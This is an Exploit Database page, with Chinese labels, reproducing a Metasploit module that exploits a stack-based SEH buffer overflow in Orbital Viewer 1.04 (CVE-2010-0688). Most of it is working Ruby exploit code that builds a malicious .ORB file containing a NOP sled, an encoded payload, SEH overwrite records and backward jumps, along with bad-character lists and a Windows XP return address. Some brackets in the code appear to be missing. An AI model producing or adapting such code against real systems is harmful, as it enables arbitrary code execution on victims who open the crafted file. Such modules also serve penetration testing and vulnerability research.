Orbital Viewer – ‘.ORB’ File Parsing Buffer Overflow (Metasploit)

Exploit Database
552 阅读

作者： Metasploit

日期： 2010-03-09
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/16654/

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# $Id: orbital_viewer_orb.rb 8757 2010-03-09 05:57:22Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::FILEFORMAT

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'Orbital Viewer ORB File Parsing Buffer Overflow',

'Description'=> %q{

This module exploits a stack-based buffer overflow in David Manthey's

Orbital Viewer. When processing .ORB files, data is read from file into

a fixed-size stack buffer using the fscanf function. Since no bounds

checking is done, a buffer overflow can occur. Attackers can execute

arbitrary code by convincing their victim to open an ORB file.

'License'=> MSF_LICENSE,

'Author' => [ 'jduck' ],

'Version'=> '$Revision: 8757 $',

'References' =>

[

[ 'BID', '38436' ],

[ 'OSVDB', '62580' ],

[ 'CVE', '2010-0688' ],

[ 'URL', 'http://www.corelan.be:8800/index.php/forum/security-advisories/corelan-10-011-orbital-viewer-orb-buffer-overflow/' ],

[ 'URL', 'http://www.exploit-db.com/exploits/11581' ]

'Payload'=>

{

'Space' => 2048,

'BadChars'=> "\x00\x09\x0a\x0d\x20", # \xbd was safe in my test, \x09 was not

'DisableNops' => true,

'Platform' => 'win',

'Targets'=>

[

[ 'Orbital Viewer 1.04 on Windows XP SP3',

{

'Ret' => 0x004032a2, # p/p/r in ov.exe v1.0.0.2

}

'Privileged' => false,

'DisclosureDate' => 'Feb 27 2010',

'DefaultTarget'=> 0))

register_options(

[

OptString.new('FILENAME', [ true, 'The file name.','msf.orb']),

], self.class)

end

def exploit

# One for double-click

seh1 = 3968

# One for DnD and File->Open

seh2 = seh1 + 2092

sploit = "OrbitalFileV1.0\r\n"

line2 = ''

nop_count = seh1 - payload.encoded.length

line2 << make_nops(nop_count)

line2 << payload.encoded

line2 << generate_seh_record(target.ret)

distance = seh1 + 8

line2 << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

line2 << rand_text_alphanumeric(seh2 - line2.length)

line2 << generate_seh_record(target.ret)

distance = seh2 + 8

line2 << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

# Crash writing past end of stack...

line2 << rand_text_alphanumeric(1024) * 20

sploit << line2

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(sploit)

end